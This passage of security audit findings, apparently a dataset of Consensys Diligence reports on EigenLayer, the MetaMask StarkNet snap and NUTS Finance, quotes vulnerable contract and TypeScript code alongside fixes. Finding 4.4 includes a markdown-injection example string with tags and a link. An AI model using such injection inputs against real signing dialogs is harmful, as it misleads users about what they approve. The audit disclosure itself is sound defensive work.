keccak256(abi.encode(DOMAIN_TYPEHASH, bytes(\"EigenLayer\"), block.chainid, address(this))); Once set in the initialize function, the value can t be changed anymore. In particular, the chain ID is baked into the DOMAIN_SEPARATOR during initialization. However, it is not necessarily constant: In the event of a chain split, only one of the resulting chains gets to keep the original chain ID, and the other should use a new one. With the current approach to compute the DOMAIN_SEPARATOR during initialization, store it, and then use the stored value for signature verification, a signature will be valid on both chains after a split but it should not be valid on the chain with the new ID. Hence, the domain separator should be computed dynamically. B. The name in the EIP712Domain is of type string: src/contracts/core/StrategyManagerStorage.sol:L18-L19 bytes32 public constant DOMAIN_TYPEHASH = keccak256(\"EIP712Domain(string name,uint256 chainId,address verifyingContract)\"); What s encoded when the domain separator is computed is bytes(\"EigenLayer\"): src/contracts/core/StrategyManager.sol:L153 DOMAIN_SEPARATOR = keccak256(abi.encode(DOMAIN_TYPEHASH, bytes(\"EigenLayer\"), block.chainid, address(this))); According to EIP-712, The dynamic values bytes and string are encoded as a keccak256 hash of their contents. Hence, bytes(\"EigenLayer\") should be replaced with keccak256(bytes(\"EigenLayer\")). C. The EIP712Domain does not include a version string: src/contracts/core/StrategyManagerStorage.sol:L18-L19 bytes32 public constant DOMAIN_TYPEHASH = keccak256(\"EIP712Domain(string name,uint256 chainId,address verifyingContract)\"); That is allowed according to the specification. However, given that most, if not all, projects, as well as OpenZeppelin s EIP-712 implementation, do include a version string in their EIP712Domain, it might be a pragmatic choice to do the same, perhaps to avoid potential incompatibilities. Recommendation Individual recommendations have been given above. Alternatively, you might want to utilize OpenZeppelin s EIP712Upgradeable library, which will take care of these issues. Note that some of these changes will break existing signatures. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2023/03/eigenlabs-eigenlayer/"}, {"title": "4.6 StrategyManagerStorage Miscalculated Gap Size ", "body": " Resolution EigenLabs Quick Summary: Gap size in StrategyManagerStorage is set to 41 even though 10 slots are utilized. General convention is to have 50 total slots available for storage. EigenLabs Response: Storage gap size fixed, changed from 41 to 40. This is possible as we aren t storing anything after the gap. Commit hash: d249641. Description Upgradeable contracts should have a gap of unused storage slots at the end to allow for adding state variables when the contract is upgraded. The convention is to have a gap whose size adds up to 50 with the used slots at the beginning of the contract s storage. In StrategyManagerStorage, the number of consecutively used storage slots is 10: DOMAIN_SEPARATOR nonces strategyWhitelister withdrawalDelayBlocks stakerStrategyShares stakerStrategyList withdrawalRootPending numWithdrawalsQueued strategyIsWhitelistedForDeposit beaconChainETHSharesToDecrementOnWithdrawal However, the gap size in the storage contract is 41: src/contracts/core/StrategyManagerStorage.sol:L84 uint256[41] private __gap; Recommendation If you don t have to maintain compatibility with an existing deployment, we recommend reducing the storage gap size to 40. Otherwise, we recommend adding a comment explaining that, in this particular case, the gap size and the used storage slots should add up to 51 instead of 50 and that this invariant has to be maintained in future versions of this contract. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2023/03/eigenlabs-eigenlayer/"}, {"title": "4.7 Unnecessary Usage of BytesLib ", "body": " Resolution EigenLabs Quick Summary: Several contracts import BytesLib.sol and yet do not use it. 6164a12. Description Various contracts throughout the codebase import BytesLib.sol without actually using it. It is only utilized once in EigenPod to convert a bytes array of length 32 to a bytes32. src/contracts/pods/EigenPod.sol:L189-L190 require(validatorFields[BeaconChainProofs.VALIDATOR_WITHDRAWAL_CREDENTIALS_INDEX] == _podWithdrawalCredentials().toBytes32(0), \"EigenPod.verifyCorrectWithdrawalCredentials: Proof is not for this EigenPod\"); However, this can also be achieved with an explicit conversion to bytes32, and means provided by the language itself should usually be preferred over external libraries. Recommendation Remove the import of BytesLib.sol and the accompanying using BytesLib for bytes; when the library is unused. Consider replacing the single usage in EigenPod with an explicit conversion to bytes32, and consequentially removing the import and using statements. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2023/03/eigenlabs-eigenlayer/"}, {"title": "4.8 DelayedWithdrawalRouter Anyone Can Claim Earlier Than Intended on Behalf of Someone Else", "body": " Resolution EigenLabs Quick Summary: DelayedWithdrawalRouter implements a claiming function that allows for a provided recipient address. This function is not permissioned and thus can be called at any time (potentially a griefing attack vector with something like taxes). EigenLabs Response: For now we have decided to leave this function as is and have added a note/warning about the noted behavior. Description The DelayedWithdrawalRouter has two functions to claim delayed withdrawals: one the recipient can call themself (i.e., the recipient is msg.sender) and one to claim on behalf of someone else (i.e., the recipient is given as a parameter): src/contracts/pods/DelayedWithdrawalRouter.sol:L84-L94 /** @notice Called in order to withdraw delayed withdrawals made to the caller that have passed the `withdrawalDelayBlocks` period. @param maxNumberOfDelayedWithdrawalsToClaim Used to limit the maximum number of delayedWithdrawals to loop through claiming. / function claimDelayedWithdrawals(uint256 maxNumberOfDelayedWithdrawalsToClaim) external nonReentrant onlyWhenNotPaused(PAUSED_DELAYED_WITHDRAWAL_CLAIMS) _claimDelayedWithdrawals(msg.sender, maxNumberOfDelayedWithdrawalsToClaim); src/contracts/pods/DelayedWithdrawalRouter.sol:L71-L82 /** @notice Called in order to withdraw delayed withdrawals made to the `recipient` that have passed the `withdrawalDelayBlocks` period. @param recipient The address to claim delayedWithdrawals for. @param maxNumberOfDelayedWithdrawalsToClaim Used to limit the maximum number of delayedWithdrawals to loop through claiming. / function claimDelayedWithdrawals(address recipient, uint256 maxNumberOfDelayedWithdrawalsToClaim) external nonReentrant onlyWhenNotPaused(PAUSED_DELAYED_WITHDRAWAL_CLAIMS) _claimDelayedWithdrawals(recipient, maxNumberOfDelayedWithdrawalsToClaim); An attacker can not control where the funds are sent, but they can control when the funds are sent once the withdrawal becomes claimable. It is unclear whether this can become a problem. It is, for example, conceivable that there are negative tax implications if funds arrive earlier than intended at a particular address: For instance, disadvantages for the recipient can arise if funds arrive before the new year starts or before some other funds were sent to the same address (e.g., in case the FIFO principle is applied for taxes). The downside of allowing only the recipient to claim their withdrawals is that contract recipients must be equipped to make the claim. Recommendation If these points haven t been considered yet, we recommend doing so. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2023/03/eigenlabs-eigenlayer/"}, {"title": "4.9 Consider Using Custom Errors", "body": " Resolution EigenLabs Quick Summary: Suggestion to use custom errors in Solidity. EigenLabs Response: For now we will continue to use standard error messages for the upcoming deployment. Description and Recommendation Custom errors were introduced in Solidity version 0.8.4 and have some advantages over the traditional string-based errors: They are usually more gas-efficient, especially regarding deployment costs, and it is easier to include dynamic information in error messages. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2023/03/eigenlabs-eigenlayer/"}, {"title": "4.10 StrategyManager - Immediate Settings Changes Can Have Unintended Side Effects", "body": " Resolution EigenLabs Quick Summary: StrategyManager contract allows for setWithdrawalDelayBlocks() to be called such that a user attempting to call completeQueuedWithdrawal() may be prevented from withdrawing. EigenLabs Response: We have decided to leave this concern unaddressed. Description Withdrawal delay blocks can be changed immediately: src/contracts/core/StrategyManager.sol:L570-L572 function setWithdrawalDelayBlocks(uint256 _withdrawalDelayBlocks) external onlyOwner { _setWithdrawalDelayBlocks(_withdrawalDelayBlocks); Allows owner to sandwich e.g. completeQueuedWithdrawal function calls to prevent users from withdrawing their stake due to the following check: src/contracts/core/StrategyManager.sol:L749-L753 require(queuedWithdrawal.withdrawalStartBlock + withdrawalDelayBlocks <= block.number || queuedWithdrawal.strategies[0] == beaconChainETHStrategy, \"StrategyManager.completeQueuedWithdrawal: withdrawalDelayBlocks period has not yet passed\" ); Recommendation We recommend introducing a simple delay for settings changes to prevent sandwiching attack vectors. It is worth noting that this finding has been explicitly raised because it allows authorized personnel to target individual transactions and users by extension. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2023/03/eigenlabs-eigenlayer/"}, {"title": "4.11 StrategyManager - Unused Modifier", "body": " Resolution EigenLabs Quick Summary: StrategyManager contract defines an onlyEigenPod modifier which is not used. EigenLabs Response: We have removed that modifier. Commit hash: 50bb6a8. Description The StrategyManager contract defines an onlyEigenPod modifier, but it is never used. src/contracts/core/StrategyManager.sol:L113-L116 modifier onlyEigenPod(address podOwner, address pod) { require(address(eigenPodManager.getPod(podOwner)) == pod, \"StrategyManager.onlyEigenPod: not a pod\"); _; Recommendation The modifier can be removed. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2023/03/eigenlabs-eigenlayer/"}, {"title": "4.12 Inconsistent Data Types for Block Numbers", "body": " Resolution EigenLabs Quick Summary: Across our contracts we use both uint32 and uint64 to represent blockNumber values. Description The block number attribute is declared using uint32 and uint64. This usage should be more consistent. Examples uint32 src/contracts/interfaces/IEigenPod.sol:L30-L35 struct PartialWithdrawalClaim { PARTIAL_WITHDRAWAL_CLAIM_STATUS status; // block at which the PartialWithdrawalClaim was created uint32 creationBlockNumber; // last block (inclusive) in which the PartialWithdrawalClaim can be fraudproofed uint32 fraudproofPeriodEndBlockNumber; src/contracts/core/StrategyManager.sol:L393 withdrawalStartBlock: uint32(block.number), src/contracts/pods/DelayedWithdrawalRouter.sol:L62-L65 DelayedWithdrawal memory delayedWithdrawal = DelayedWithdrawal({ amount: withdrawalAmount, blockCreated: uint32(block.number) }); uint64 src/contracts/pods/EigenPod.sol:L175-L176 function verifyWithdrawalCredentialsAndBalance( uint64 oracleBlockNumber, src/contracts/pods/EigenPodManager.sol:L216 function getBeaconChainStateRoot(uint64 blockNumber) external view returns(bytes32) { Recommendation Use one data type consistently to minimize the risk of conversion errors or truncation during casts. This is a measure aimed at future-proofing the code base. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2023/03/eigenlabs-eigenlayer/"}, {"title": "4.13 EigenPod Stray nonReentrant Modifier", "body": " Resolution EigenLabs Quick Summary: There is a stray nonReentrant modifier in EigenPod.sol. EigenLabs Response: Modifier has been removed. Commit hash: 9f45837. Description There is a stray nonReentrant modifier in EigenPod: src/contracts/pods/EigenPod.sol:L432-L453 /** @notice Transfers `amountWei` in ether from this contract to the specified `recipient` address @notice Called by EigenPodManager to withdrawBeaconChainETH that has been added to the EigenPod's balance due to a withdrawal from the beacon chain. @dev Called during withdrawal or slashing. @dev Note that this function is marked as non-reentrant to prevent the recipient calling back into it / function withdrawRestakedBeaconChainETH( address recipient, uint256 amountWei external onlyEigenPodManager nonReentrant // reduce the restakedExecutionLayerGwei restakedExecutionLayerGwei -= uint64(amountWei / GWEI_TO_WEI); emit RestakedBeaconChainETHWithdrawn(recipient, amountWei); // transfer ETH from pod to `recipient` _sendETH(recipient, amountWei); src/contracts/pods/EigenPod.sol:L466-L468 function _sendETH(address recipient, uint256 amountWei) internal { delayedWithdrawalRouter.createDelayedWithdrawal{value: amountWei}(podOwner, recipient); This modifier is likely a leftover from an earlier version of the contract in which Ether was sent directly. Recommendation Remove the ineffective modifier for more readable code and reduced gas usage. The import of ReentrancyGuardUpgradeable.sol and the inheritance from ReentrancyGuardUpgradeable can also be removed. Also, consider giving the _sendEth function a more appropriate name. Remark The two nonReentrant modifiers in DelayedWithdrawalRouter are neither strictly needed. Still, they look considerably less random than the one in EigenPod, and could be warranted by a defense-in-depth approach. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2023/03/eigenlabs-eigenlayer/"}, {"title": "4.1 RPC starkNet_sendTransaction - The User Displayed Message Generated With getSigningTxnText() Is Prone to Markdown/Control Chars Injection From contractCallData ", "body": " Resolution Fixed with Consensys/starknet-snap@7231bb7fa4671283b2e7b4cbf5a519d56a57697a by rendering untrusted user input with the copyable UI component, preventing markdown injection. Additionally, the client provided the following statement: restructure dialog ui by using MM copyable field, it can ignore any markdown or tag block validate send transaction calldata has to be able to convert to bigInt Description In the code snippet below, contractCallData is potentially untrusted and may contain Markdown renderable strings or strings containing Control Characters that break the context of the message displayed to the user. This can lead to misrepresenting the transaction data to be signed, which should be avoided. packages/starknet-snap/src/utils/snapUtils.ts:L163-L195 export function getSigningTxnText( state: SnapState, contractAddress: string, contractFuncName: string, contractCallData: string[], senderAddress: string, maxFee: number.BigNumberish, network: Network, ): string { // Retrieve the ERC-20 token from snap state for confirmation display purpose const token = getErc20Token(state, contractAddress, network.chainId); let tokenTransferStr = ''; if (token && contractFuncName === 'transfer') { try { let amount = ''; if ([3, 6, 9, 12, 15, 18].includes(token.decimals)) { amount = convert(contractCallData[1], -1 * token.decimals, 'ether'); } else { amount = (Number(contractCallData[1]) * Math.pow(10, -1 * token.decimals)).toFixed(token.decimals); tokenTransferStr = `\\n\\nSender Address: ${senderAddress}\\n\\nRecipient Address: ${contractCallData[0]}\\n\\nAmount(${token.symbol}): ${amount}`; } catch (err) { console.error(`getSigningTxnText: error found in amount conversion: ${err}`); return ( `Contract: ${contractAddress}\\n\\nCall Data: [${contractCallData.join(', ')}]\\n\\nEstimated Gas Fee(ETH): ${convert( maxFee, 'wei', 'ether', )}\\n\\nNetwork: ${network.name}` + tokenTransferStr ); packages/starknet-snap/src/sendTransaction.ts:L60-L80 const signingTxnText = getSigningTxnText( state, contractAddress, contractFuncName, contractCallData, senderAddress, maxFee, network, ); const response = await wallet.request({ method: 'snap_dialog', params: { type: DialogType.Confirmation, content: panel([ heading('Do you want to sign this transaction ?'), text(`It will be signed with address: ${senderAddress}`), text(signingTxnText), ]), }, }); Please note that we have also reported to the MM Snaps team, that dialogues do not by default hint the origin of the action. We hope this will be addressed in a common way for all snaps in the future, Recommendation Validate inputs. Encode data in a safe way to be displayed to the user. Show the original data provided within a pre-text or code-block. Show derived or decoded information (token recipient) as additional information to the user. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/06/metamask/partner-snaps-starknetsnap/"}, {"title": "4.2 Lax Validation Using@starknet::validateAndParseAddress Allows Short Addresses and Does Not Verify Checksums ", "body": " Resolution Fixed with Consensys/starknet-snap@7231bb7fa4671283b2e7b4cbf5a519d56a57697a by wrapping validateAndParseAddress() with an implicit length check. Additionally, the client provided the following statement: Add validation on the snap side for address length Checksum will not implement as some users are going to call the Snap directly without going through the dApp As per the client s decision, checksummed addresses are not enforced. Description Address inputs in RPC calls are validated using @starknet::validateAndParseAddress(). packages/starknet-snap/src/getErc20TokenBalance.ts:L19-L28 try { validateAndParseAddress(requestParamsObj.tokenAddress); } catch (err) { throw new Error(`The given token address is invalid: ${requestParamsObj.tokenAddress}`); try { validateAndParseAddress(requestParamsObj.userAddress); } catch (err) { throw new Error(`The given user address is invalid: ${requestParamsObj.userAddress}`); While the message validates the general structure for valid addresses, it does not strictly enforce address length and may silently add padding to the inputs before validation. This can be problematic as it may hide user input errors when a user provides an address that is too short and silently gets left-padded with zeroes. This may unintentionally cause a user to request action on the wrong address without them recognizing it. ../src/utils/address.ts:L14-L24 export function validateAndParseAddress(address: BigNumberish): string { assertInRange(address, ZERO, MASK_251, 'Starknet Address'); const result = addAddressPadding(address); if (!result.match(/^(0x)?[0-9a-fA-F]{64}$/)) { throw new Error('Invalid Address Format'); return result; export function validateAndParseAddress(address: BigNumberish): string { assertInRange(address, ZERO, MASK_251, 'Starknet Address'); const result = addAddressPadding(address); if (!result.match(/^(0x)?[0-9a-fA-F]{64}$/)) { throw new Error('Invalid Address Format'); return result; Recommendation The exposed Snap API should strictly validate inputs. User input must be provided in a safe canonical form (exact address length, checksum) by the dapp. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/06/metamask/partner-snaps-starknetsnap/"}, {"title": "4.3 RPC starkNet_signMessage - Fails to Display the User Account That Is Used for Signing the Message ", "body": " Resolution Fixed with Consensys/starknet-snap@7231bb7fa4671283b2e7b4cbf5a519d56a57697a by displaying the signing accounts address with the dialog. All user-provided fields are copyable, preventing any markdown injection. Additionally, the client provided the following statement: add signer address add bottom of the dialog We want to note that the origin of the RPC call is not visible in the dialog. However, we recommend addressing this with the MM Snap SDK by generically showing the origin of MM popups with the dialog. Description The signing request dialogue does not display the user account that is being used to sign the message. A malicious dapp may pretend to sign a message with one account while issuing an RPC call for a different account. Note that StarkNet signing requests should implement similar security measures to how MetaMask signing requests work. Being fully transparent on who signs what , also displaying the origin of the request. This is especially important on multi-dapp snaps to avoid users being tricked into signing transactions they did not intend to sign (wrong signer). packages/starknet-snap/src/signMessage.ts:L34-L42 const response = await wallet.request({ method: 'snap_dialog', params: { type: DialogType.Confirmation, content: panel([heading('Do you want to sign this message ?'), text(JSON.stringify(typedDataMessage))]), }, }); if (!response) return false; Examples UI does not show the signing accounts address. Hence, the user cannot be sure what account is used to sign the message. Recommendation Show what account is requested to sign a message. Display the origin of the RPC call. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/06/metamask/partner-snaps-starknetsnap/"}, {"title": "4.4 RPC starkNet_signMessage - Inconsistency When Previewing the Signed Message (Markdown Injection) ", "body": " Resolution Fixed with Consensys/starknet-snap@7231bb7fa4671283b2e7b4cbf5a519d56a57697a by rendering user-provided information with the copyable UI component. Additionally, the client provided the following statement: restructure dialog ui by using MM copyable field, it can ignore any markdown or tag block Description The snap displays an dialogue to the user requesting them to confirm that they want to sign a message when a dapp performs a request to starkNet_signMessage. However, the MetaMask Snaps UI text() component will render Markdown. This means that the message-to-be-signed displayed to the user for approval will be inaccurate if it contains Markdown renderable text. packages/starknet-snap/src/signMessage.ts:L35-L41 const response = await wallet.request({ method: 'snap_dialog', params: { type: DialogType.Confirmation, content: panel([heading('Do you want to sign this message ?'), text(JSON.stringify(typedDataMessage))]), }, }); Examples {\"a **mykey**\":\"this should not render **markdown**
test
bbbstrongstrong[visit oststrom](https://oststrom.com) _ital_\"} Recommendation Render signed message contents in a code block or preformatted text blocks. Note: we ve also reported this to the MetaMask Snaps team to provide further guidance. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/06/metamask/partner-snaps-starknetsnap/"}, {"title": "4.5 UI/AlertView - Unnecessary Use of dangerouslySetInnerHTML ", "body": " Resolution Fixed with Consensys/starknet-snap@7231bb7fa4671283b2e7b4cbf5a519d56a57697a by not using dangerouslySetInnerHTML. Additionally, the client provided the following statement: Remove dangerouslySetInnerHTML from UI Description AlertView is populated by setting innerHTML instead of the component s value, which would be auto-escaped. This only makes sense if the component is supposed to render HTML. However, the component is never used with HTML as input, and the attribute name text is misleading. packages/wallet-ui/src/components/ui/atom/Alert/Alert.view.tsx:L11-L36 export function AlertView({ text, variant, ...otherProps }: Props) { const paragraph = useRef(null); const [isMultiline, setIsMultiline] = useState(false); useEffect(() => { if (paragraph.current) { const height = paragraph.current.offsetHeight; setIsMultiline(height > 20); }, []); return ( <> {variant === VariantOptions.SUCCESS && } {variant === VariantOptions.INFO && } {variant === VariantOptions.ERROR && ( )} {variant === VariantOptions.WARNING && ( )} ); packages/wallet-ui/src/components/ui/organism/NoFlaskModal/NoFlaskModal.view.tsx:L4-L25 export const NoFlaskModalView = () => { return ( You don't have the MetaMask Flask extension You need to install MetaMask Flask extension in order to use the StarkNet Snap.

} onClick={() => {}}> Download MetaMask Flask ); }; Setting HTML from code is risky because it s easy to inadvertently expose users to a cross-site scripting (XSS) attack. Recommendation Do not use dangerouslySetInnerHTML unless there is a specific requirement that passed in HTML be rendered. If so, rename the attribute name to html instead of text to set clear expectations regarding how the input is treated. Nevertheless, since the component is not used with HTML input, we recommend removing dangerouslySetInnerHTML altogether. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/06/metamask/partner-snaps-starknetsnap/"}, {"title": "4.6 RPC starkNet_addErc20Token - Should Ask for User Confirmation ", "body": " Resolution Fixed with Consensys/starknet-snap@7231bb7fa4671283b2e7b4cbf5a519d56a57697a by requesting user confirmation for adding new ERC20 Tokens. Additionally, the client provided the following statement: Adding confirm dialog with MM copyable field, it can ignore any markdown or tag block Disable loading frame when user reject the add ec220 token request on UI Description The RPC method upserts ERC20 tokens received via RPC without asking the user for confirmation. This would allow a connected dapp to insert/change ERC20 token information anytime. This can even be more problematic when multiple dapps are connected to the StarkNet-Snap (race conditions). packages/starknet-snap/src/addErc20Token.ts:L30-L47 validateAddErc20TokenParams(requestParamsObj, network); const erc20Token: Erc20Token = { address: tokenAddress, name: tokenName, symbol: tokenSymbol, decimals: tokenDecimals, chainId: network.chainId, }; await upsertErc20Token(erc20Token, wallet, saveMutex); console.log(`addErc20Token:\\nerc20Token: ${JSON.stringify(erc20Token)}`); return erc20Token; } catch (err) { console.error(`Problem found: ${err}`); throw err; Recommendation Ask the user for confirmation when changing the snaps state. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/06/metamask/partner-snaps-starknetsnap/"}, {"title": "4.7 getKeysFromAddress - Possible Unchecked Null Dereference When Looking Up Private Key ", "body": " Resolution Fixed with Consensys/starknet-snap@7231bb7fa4671283b2e7b4cbf5a519d56a57697a by throwing an exception on error. Additionally, the client provided the following statement: instead of return null, raise err in getKeysFromAddress, caller will catch the exception Description getKeysFromAddress() may return null if an invalid address was provided but most callers of the function do not check for the null condition and blindly dereference or unpack the return value causing an exception. packages/starknet-snap/src/utils/starknetUtils.ts:L453-L455 return null; }; Examples packages/starknet-snap/src/signMessage.ts:L44-L46 const { privateKey: signerPrivateKey } = await getKeysFromAddress(keyDeriver, network, state, signerAddress); const signerKeyPair = getKeyPairFromPrivateKey(signerPrivateKey); const typedDataSignature = getTypedDataMessageSignature(signerKeyPair, typedDataMessage, signerAddress); packages/starknet-snap/src/extractPrivateKey.ts:L37 const { privateKey: userPrivateKey } = await getKeysFromAddress(keyDeriver, network, state, userAddress); packages/starknet-snap/src/extractPublicKey.ts:L31-L32 const { publicKey } = await getKeysFromAddress(keyDeriver, network, state, userAddress); userPublicKey = publicKey; packages/starknet-snap/src/sendTransaction.ts:L48-L52 const { privateKey: senderPrivateKey, publicKey, addressIndex, } = await getKeysFromAddress(keyDeriver, network, state, senderAddress); packages/starknet-snap/src/signMessage.ts:L44-L45 const { privateKey: signerPrivateKey } = await getKeysFromAddress(keyDeriver, network, state, signerAddress); const signerKeyPair = getKeyPairFromPrivateKey(signerPrivateKey); packages/starknet-snap/src/verifySignedMessage.ts:L38 const { privateKey: signerPrivateKey } = await getKeysFromAddress(keyDeriver, network, state, verifySignerAddress); packages/starknet-snap/src/estimateFee.ts:L48-L53 const { privateKey: senderPrivateKey, publicKey } = await getKeysFromAddress( keyDeriver, network, state, senderAddress, ); Recommendation Explicitly check for the null or {} case. Consider returning {} to not allow unpacking followed by an explicit null check. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/06/metamask/partner-snaps-starknetsnap/"}, {"title": "4.8 RPC starkNet_getStoredTransactions - Lax or Missing Input Validation ", "body": " Resolution Won t fix. The client provided the following statement: not fix, minor impact We want to note that strict input validation should be performed on all untrusted inputs for read/write and read-only methods. Just because the method is read-only now does not necessarily mean it will stay that way. Leaving untrusted inputs unchecked may lead to more severe security vulnerabilities with a growing codebase in the future. Description Potentially untrusted inputs, e.g. addresses received via RPC calls, are not always checked to conform to the StarkNet address format. For example, requestParamsObj.senderAddress is never checked to be a valid StarkNet address. packages/starknet-snap/src/getStoredTransactions.ts:L18-L26 const transactions = getTransactions( state, network.chainId, requestParamsObj.senderAddress, requestParamsObj.contractAddress, requestParamsObj.txnType, undefined, minTimeStamp, ); Recommendation This method is read-only, and therefore, severity is estimated as Minor. However, it is always suggested to perform strict input validation on all user-provided inputs for read-only and read-write methods. ", "labels": ["Consensys", "Minor", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2023/06/metamask/partner-snaps-starknetsnap/"}, {"title": "4.9 Disable Debug Log for Production Build ", "body": " Resolution Addressed with Consensys/starknet-snap@7231bb7fa4671283b2e7b4cbf5a519d56a57697a by introducing a configurable logger. Additionally, the client provided the following statement: add custom logger to replace console.log, and log message base on debug level, when debug level is off, it will not log anything update production CICD pipeline to build project with debug level = off/disabled There re still some instances of console.log(). However, internal state or full requests are not logged anymore. We would still recommend replacing the remaining console.log calls (e.g. the one in addERC20Token). Description Throughout the codebase, there are various places where debug log output is being printed to the console. This should be avoided for production builds. Examples packages/starknet-snap/src/index.ts:L45-L46 // Switch statement for methods not requiring state to speed things up a bit console.log(origin, request); packages/starknet-snap/src/index.ts:L91-L92 console.log(`${request.method}:\\nrequestParams: ${JSON.stringify(requestParams)}`); packages/starknet-snap/src/index.ts:L103 console.log(`Snap State:\\n${JSON.stringify(state, null, 2)}`); Recommendation Remove the debug output or create a custom log method that allows to enable/disable logging to console. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/06/metamask/partner-snaps-starknetsnap/"}, {"title": "4.10 package.json - Dependecy Mixup ", "body": " Resolution Fixed with Consensys/starknet-snap@7231bb7fa4671283b2e7b4cbf5a519d56a57697a as per recommendation. Additionally, the client provided the following statement: Move development dependencies to package.json::devDependencies Description The following dependencies are only used for testing or development purposes and should therefore be listed as devDependencies in package.json, otherwise they may be installed for production builds, too. https://sinonjs.org/ https://www.chaijs.com/ packages/starknet-snap/package.json:L50 \"chai\": \"^4.3.6\", packages/starknet-snap/package.json:L53-L54 \"sinon\": \"^13.0.2\", \"sinon-chai\": \"^3.7.0\", Recommendation Move development dependencies to package.json::devDependencies. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/06/metamask/partner-snaps-starknetsnap/"}, {"title": "4.11 package.json - Invalid License Invalid", "body": " Resolution Invalid. Legal clarified that it is perfectly fine to allow MIT+Apache2. Additionally, client provided the following statement: not fix, choose to stick with dual license Description The license field in package.json is invalid. packages/starknet-snap/package.json:L4 \"license\": \"(Apache-2.0 OR MIT)\", Recommendation Update the license field. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2023/06/metamask/partner-snaps-starknetsnap/"}, {"title": "4.12 RPC starkNet_extractPrivateKey - Should Be Renamed to starkNet_displayPrivateKey ", "body": " Resolution Won t Fix. The client provided the following statement: not fix, the extractPrivateKey is not for display purpose We want to note that we still encourage changing the method name and return value to explicitly return null in the RPC handler for the sake of good secure coding practices discouraging future devs to return implementing key extraction RPC endpoints that may expose wallet credentials to a linked dapp. Description It is recommended to rename starkNet_extractPrivateKey to starkNet_displayPrivateKey as this more accurately describes what the RPC method is doing. Also, the way the method handler is implemented makes it appear as if it returns the private key to the RPC origin while the submethod returns null. Consider changing this to an explicit empty return to clearly mark in the outer call that no private key is exposed to the caller. Not to confuse this with how starkNet_extractPublicKey works which actually returns the pubkey to the RPC caller. packages/starknet-snap/src/index.ts:L123-L127 case 'starkNet_extractPrivateKey': apiParams.keyDeriver = await getAddressKeyDeriver(snap); return extractPrivateKey(apiParams); ", "labels": ["Consensys", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2023/06/metamask/partner-snaps-starknetsnap/"}, {"title": "4.13 UI/hooks - detectEthereumProvider() Should Require mustBeMetaMask ", "body": " Resolution Won t Fix. The client provided the following statement: not fix, minor impact Description MetaMask Snaps require a Metamask provider. However, detectEthereumProvider() does not explicitly require a MetaMask provider and would continue if the alternative provider contains the substring flask in their signature. packages/wallet-ui/src/hooks/useHasMetamaskFlask.ts:L7-L16 const detectMetamaskFlask = async () => { try { const provider = (await detectEthereumProvider({ mustBeMetaMask: false, silent: true, })) as any | undefined; const isFlask = (await provider?.request({ method: 'web3_clientVersion' }))?.includes('flask'); if (provider && isFlask) { return true; Consider requiring mustBeMetaMask = true to enforce that the injected provider is indeed MetaMask. This will also work with MetaMask Flask as shown here: \u21d2 window.ethereum.isMetaMask true \u21d2 await window.ethereum.request({ method: 'web3_clientVersion' }) 'MetaMask/v10.32.0-flask.0' ", "labels": ["Consensys", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2023/06/metamask/partner-snaps-starknetsnap/"}, {"title": "4.14 RPC starkNet_addNetwork - Not Implemented, No User Confirmation ", "body": " Resolution Won t Fix. The client provided the following statement: not fix, minor impact Description It was observed that the RPC method starkNet_addNetwork is not implemented. In case this method is to be exposed to dapps, we recommended to follow the advise given in issue 4.6 to ask for user confirmation when adjusting the snaps configuration state. ", "labels": ["Consensys", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2023/06/metamask/partner-snaps-starknetsnap/"}, {"title": "4.1 Insufficient tests ", "body": " Resolution Comment from NUTS Finance team: We have added more mainnet fork test coverage for single plus assets. We will continue to add more test cases on edge cases. For the test coverage command, it s strange that if we run all test cases with truffle test , the LiquidityGauge test case fails. However, it passes if we run it by ourselves. We have done some debugging but cannot figure it out yet. We believe that our test cases are all valid. Description It is crucial to write tests with possibly 100% coverage for smart contract systems. Given that BTCPlus has inner complexity and also integrates many DeFi projects, using unit testing and fuzzing in all code paths is essential to a secure system. Currently there are only 63 unit tests (with 1 failing) for the main components (Plus/Composite token, Governance, Liquidity Gauge, etc) which are only testing the predetermined code execution paths. There are also DeFi protocol specific tests that are not well organized to be able to find the coverage on the system. Recommendation Write proper tests for all possible code flows and specially edge cases (Price volatility, token transfer failure, 0 amounts, etc). It is useful to have one command to run all tests and have a code coverage report at the end. Also using libraries like eth-gas-reporter it s possible to know the gas usage of different functionalities in order to optimize and prevent lock ups in the future. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/05/nuts-finance-btcplus/"}, {"title": "4.2 Simplify the harvest method in each SinglePlus ", "body": " Resolution Comment from NUTS Finance team: We have replaced all safeApprove() usage with approve() and used block.timestamp as the expiration date. Description The BadgerSBTCCrvPlus single plus contract implements a custom harvest method. code/BTC-Plus/contracts/single/eth/BadgerSBTCCrv%2B.sol:L52-L56 /** @dev Harvest additional yield from the investment. Only governance or strategist can call this function. / function harvest(address[] calldata _tokens, uint256[] calldata _cumulativeAmounts, uint256 